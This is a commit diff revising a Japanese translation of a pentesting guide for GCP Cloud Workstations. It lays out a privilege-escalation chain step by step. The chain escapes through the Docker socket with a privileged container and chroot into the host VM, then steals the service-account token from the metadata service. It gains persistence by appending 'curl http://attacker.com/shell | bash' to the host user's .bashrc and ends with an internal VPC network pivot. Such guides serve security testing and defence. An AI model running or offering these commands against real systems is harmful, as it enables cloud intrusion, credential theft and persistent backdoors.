Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-02-13 10:29:29 +00:00
parent fb6b0dd993
commit 2a5fea9a0a
2 changed files with 42 additions and 41 deletions
@@ -3,20 +3,20 @@
### Container Breakout via Docker Socket (Container -> VM -> Project)
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
Cloud Workstations における主要な権限昇格経路は、開発者向けに **Docker-in-Docker (DinD)** ワークフローをサポートする必要性に由来します。workstation の構成が Docker socket をマウントするか、privileged containers を許可している場合(一般的な構成)、workstation コンテナ内の攻撃者は基盤となる Compute Engine VM へ脱出し、そのサービスアカウントトークンを奪取できます。
**前提条件:**
- Cloud Workstation の端末へのアクセス(SSH、セッションの侵害、または盗まれた認証情報経由)
- ワークステーションの構成 `/var/run/docker.sock` をマウントしているか、privileged containers を有効にしている必要がある
- Cloud Workstation ターミナルへのアクセス(SSH、乗っ取られたセッション、または盗まれた資格情報経由)
- workstation の構成 `/var/run/docker.sock` をマウントるか、privileged containers を有効にしていること
**アーキテクチャのコンテキスト:** ワークステーションは、GCE VM (Layer 1) 上の Docker/Containerd ランタイム (Layer 2) 上で動作するコンテナ (Layer 3) です。Docker socket はホストのコンテナランタイムへ直接アクセスを提供します。
**アーキテクチャの文脈:** workstation はコンテナ(Layer 3)で、Docker/Containerd ランタイムLayer 2)上の GCE VM(Layer 1)で動作しています。Docker socket はホストのコンテナランタイムへ直接アクセスを提供します。
> [!NOTE]
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、host VM 上 root shell を得られるようにします。
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、ホスト VM 上 root シェルに降ろします。
<details>
<summary>ステップ 1: Docker socket 確認</summary>
<summary>ステップ 1: Docker socket 確認</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
<details>
<summary>ステップ2: ホストVMのファイルシステムへ脱出</summary>
<summary>ステップ 2: Escape — ホストVMのファイルシステムへ</summary>
特権コンテナを起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。可視性を最大化するためホストのネットワークと PID ネームスペースも共有します。
privileged container を起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。また、可視性を最大化するためホストの network と PID namespace も共有します。
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -38,13 +38,13 @@ alpine sh
# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
これで、基盤となる **root shell on the underlying Compute Engine VM**取得しましたLayer 1)。
あなたは現在、基盤となる **Compute Engine VM 上の root shell**持っていますLayer 1)。
</details>
<details>
<summary>ステップ3: IMDS から VM service account token を盗む</summary>
<summary>ステップ3: VM service account token を IMDS から盗む</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
</details>
> [!CAUTION]
> **スコープを確認してください!**
> アタッチされている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていれば、完全なアクセス権があります。
> **スコープを確認してください**
> 付与されている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていれば、フルアクセスを持っています。
> もし `logging.write` と `monitoring.write` のみが表示されている場合、以下の **Network Pivot** と **Persistence** ベクトルに制限されます。
<details>
<summary>ステップ4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations は `/home/user`永続ディスクをマウントします。コンテナのユーザ(通常 `user`, UID 1000)がホストのユーザ(UID 1000)と一致するため、ホストのホームディレクトリに書き込むことができます。これにより、workstation container が再構築されても環境に backdoor を仕掛けることができます。
Cloud Workstations は永続ディスクを `/home/user` にマウントします。コンテナのユーザ(通常 `user`, UID 1000)がホストのユーザ(UID 1000)と一致するため、ホストのホームディレクトリに書き込できます。これにより、workstation container が再構築されても環境にバックドアを仕掛けることができます。
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
ホストのネットワーク名前空間を共有しているため (`--net=host`)、あなたは現在 VPC 上の信頼されたノードになっています。IP ホワイトリストに基づいてアクセスを許可する内部サービスをスキャンできます。
host network namespace (`--net=host`) を共有しているため、あなたは現在 VPC 上の信頼されたノードになっています。IP whitelisting に基づいてアクセスを許可する内部サービスをスキャンできます。
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap